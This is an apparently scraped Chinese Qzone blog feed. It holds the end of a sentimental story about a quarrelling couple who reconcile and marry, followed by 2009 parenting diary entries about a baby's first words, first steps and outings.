“还有一次，我很累了，你还不肯去洗澡睡觉，明明知道我特敏感，有点神经衰弱，哪怕一点点敲键盘的声音都能让我难以入睡，我一情急就说了你这个人自私的话，我们吵起来，你说了一大堆辩论自己不自私自私的人是我之后甩门出去上网通宵，我打你电话你没拿我又不敢自己一个人去找你……”

女人这时候有点激动了，眼球开始泛红，说：“还有一次……”男人打断了她的话，“亲爱的，别说了……”

沉默。
长久的沉默。
还是女人打破了沉默：“是不是我们真的不合适？如果是这样，结婚了还是会离婚吧？我们的个性都那么强，谁都不肯退让。”
气氛有点尴尬。

本子里记录的事情都是那么细小的事情，每次吵架的原因都是那么的简单，男人看着这本子，似乎在体会着女人的心情，大男子是不会去计较这些小事，原本觉得每次和好之后都没事，女人就爱拿这些来说事，但是当他认真去看的时候，他也开始难过了，女人很细心，把事件、心情都写了，还自己总结了一下原因。原来最微小的事情累积起来是很让人痛苦的，他看得出，女人从失望慢慢变成绝望。

他想，大概是因为每次吵架，两人都是喜欢在吵架中找出对方不爱自己的证据。他突然意识到，这是个很严重的问题！而且每次吵架，双方都是在心情不稳定的时候，就是还有别的烦心事的时候，把不好的情绪带进了两个人的生活里。

“亲爱的别难过……”男人终于说话了：“我请个假，我们去旅游吧

他们去了第一次一起旅游的地方，太多美好的回忆被唤起，原来彼此是那么深深地爱着对方，这时的女人特别温柔，这时的男人特别体贴。

“亲爱的，你还认为我们结婚的话，会离婚么？”男人问。

“我想不是我们不合适，像现在，我们是那么快乐，一切都那么美好，可是一回到我们的现实生活里，为什么就变了呢？”

“亲爱的，难道我们现在不在现实里吗？”

“……”女人楞了

“因为那时候我们都把注意力集中在负面的事物上并且放大了那些负面的心情。并且喜欢找对方不爱自己的证据，然后彼此个性都很倔不肯服输太要面子。”

女人觉得确实是如此，原来，双方只是需要一点点忍让，一点点包容。男人带她回顾这初次旅游的地点，是真的用心了，想起那时候他们在一起还不久，为了让对方觉得自己好，都表现出自己最好的一面。

“还有半个月，如果那瓶子还是半瓶，那么，亲爱的，嫁给我吧！”

女人钻进男人怀里笑开了颜

后来他们结婚了。很少再吵架。如果粗心的男人不小心碰掉了杯子，女人不会再开口就骂，因为在女人开口之前，男人已经在道歉，说对不起，都是我不小心的，赔两个给老婆！老婆尽管去选你喜欢的！女人就笑了，然后说，不用买啦，反正还有杯子，再说也不都是你的错，怪我自己没把杯子放好，让你碰到啦！

原来真的没有合适不合适，只有珍惜不珍惜，能一起走一起进步是幸福的！

PS:如果喜欢请分享……也许有一天想看它的时候，怎样努力都找不到了……

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]]> http://397277101.qzone.qq.com/blog/1253022001#comment 135266313 Tue, 15 Sep 2009 13:40:01 GMT http://397277101.qzone.qq.com/blog/1253022001 <![CDATA[2009.9.9 灯]]> http://397277101.qzone.qq.com/blog/1252597075 偶尔会来上几句撞撞语，弄得我和他爸笑个不停，他也会很得意得爬来爬去。
比如：我经常会说妈妈给你穿衣服了，好不好？来喝水，好不好？来尿尿了，好不好？等等。其实也就是我自己说说，没指望他会回答的。结果有时他突然来一句很准确的：“不好！”弄得我直笑，其实我是知道，他并不知道自己说的是什么意思。这样的例子来不少。不过总得说来，贝贝会说的东西不多。
到现在，会说“爸爸”，“妈妈”，“走”，偶尔会叫一声“婆婆”。其它的我都认为是他的一些发音。
不过今天他又学会一个东西，让我和他爸爸很是开心。
贝贝一直都对灯笼，路灯啊很喜欢。每次带他出去玩，我说贝贝看，“灯笼”，他就会抬起头到处找，找到以后就直舞手，很是高兴。我也会告诉他，这是路灯，他也会抬头看，然后露出微笑。
昨天傍晚他爸爸抱他回家，走到楼下，有个声控灯。天这时已经比较黑了，于是比较响得说了一句“灯！”。灯亮了。贝贝笑着抬起头看着灯说“灯”。我以为只是无意说对了。于是我指着灯又对他说了一遍“灯”，谁知，他又跟着说了一遍“灯”。
然后上楼他就一直和他爸爸灯灯灯地直说。
今天早上5点半贝贝就醒了，起来吃奶。平时吃完他还会睡一会，可今天就是不睡了，还很兴奋。没办法，只有陪着啦。我听到有蚊子叫的声音，就拿应急小台灯来照照看。结果贝贝看到了，笑笑嘻就来抢，还直说灯灯灯。
呵呵，小家伙又算会说一个单词了。
“灯”！

]]> http://397277101.qzone.qq.com/blog/1252597075#comment 142606848 Thu, 10 Sep 2009 15:37:55 GMT http://397277101.qzone.qq.com/blog/1252597075 <![CDATA[2009。9。8 捡药片]]> http://397277101.qzone.qq.com/blog/1252557478 体重11.4kg 身高78.5cm
还好还好，一直担心这个月贝贝生病会对他体重身高有影响，现在看来没有赊，还长了几两，很满意。
11个月了，突然发现贝贝似乎懂了很多。我跟讲的一些话，他都能明白。比如说，我要给他倒水，让他坐在沙发上不动，他就会乖乖地坐着；跟他讲光脚不能踩地上，他如果踩到地上了，也会马上缩回来；也不会像以前一样，见不到我就往房间门外爬着来找我（门外面没铺垫子）；只要我离开那一会小会儿跟他讲，妈妈做什么什么事，马上回来，他就会乖乖地不哭；还能分清几个疼他的婆婆的姓了，往哪边走可以找到王婆婆，往哪边走可以找到梁婆婆，小家伙清楚得很呢……
今天贝贝也很棒呢，有了很大的进步。
第一呢，是中午的时候，他在垫子上玩，我坐在一旁瞅着他。突然他扶着自己的小床站了起来，然后丢开手就扑嗵扑嗵（走的时候很用力的样子）往我们的大床走去，竟然没摔倒，扶住了大床。
一直我也没急着要贝贝走路，平时他也是在垫子上爬来爬去，爬得很快，有时候他想走就手牵着或用学步带牵着他走一圈。今天他还蛮厉害，大胆就往前冲了。
其次就是下午2点过，小家伙今天午睡就睡了一会就起来了。因为太热，也就没带他出去玩。
于是突然想起让他捡小药片玩。
我于是拿出几片维生素C，倒在他的小拉车车里，让他捡起来给我。刚开始，他看到小拉车里有小白片片，就去捡，再加上捡给他看，他就跟着学。可是他怎么都捡不起来，于是就不耐烦了，用整个手掌在里面乱磨。
我突然想起前不久看智慧树，里面有给小朋友加油的画面，当时贝贝看得还挺开心。于是我也边做动作边说：“贝贝！加油！贝贝！加油！”没想到贝贝真得就很开心，不停得用拇指和食指去捡，终于他捡了一颗起来。我马上接过来，就给他鼓掌，亲了他一下，说：“贝贝，真厉害。加油！”然后又给他加油。贝贝还真的就继续捡，终于又捡起来一颗，他拿起来，还不停地摇，还很开心地笑，结果给掉垫子上了，他就不停地去看，咦，手上怎么没有了呢。好可爱呢。……
后来贝贝一起捡，真的把几片都捡了起来，动作也越来越熟练。
宝贝真乖！加油！

]]> http://397277101.qzone.qq.com/blog/1252557478#comment 142606849 Thu, 10 Sep 2009 04:37:58 GMT http://397277101.qzone.qq.com/blog/1252557478 <![CDATA[2009.8.9 浣花溪]]> http://397277101.qzone.qq.com/blog/1252544007 8月7日，贝贝第一次高烧，9日高烧已完全退了。
想到贝贝前两天那么难受，于是想带他出去开心一下。
浣花溪不远，去也很方便。
贝贝的精神状态很好，虽然还有着发烧后的不良反应（消化不良）。
出门的时候还很兴奋，结果在半路就睡着了。
到了浣花溪，小家伙还没醒，于是让他小睡了一会。

可能是感觉周围太热闹了，没一会，一下就睁开了眼。
然后就是迫不急待地下地想到处跑。

最可爱的是，看到一个比他大两个月的小朋友，开心得不得了，牵着妈妈的手就上前要主动和别人握手。结果那个小哥哥可能是没反应过来，觉得这个小朋友怎么上来就要握手啊，把手缩了回去。引得那个小哥的爸妈和爷爷直笑咱们的贝贝小朋友。呵呵。
延着诗歌大道一直往下走，贝贝每每看到那些雕像都很有兴趣，直拉着妈妈往雕像那边冲。

平时贝贝就很喜欢鱼，所以就特意带他去喂鱼。
看到那么多大的锦鲤，激动得很呢，老往栏杆上爬。真是不老实。

贝贝对气球的兴趣，在哪里都表现得非常明显。不管是谁，只要手里有那气球，马上就能把他的注意力给吸引过去。然后手舞足蹈得就往那边拽你，真是拿他没办法。
]]> http://397277101.qzone.qq.com/blog/1252544007#comment 142606849 Thu, 10 Sep 2009 00:53:27 GMT http://397277101.qzone.qq.com/blog/1252544007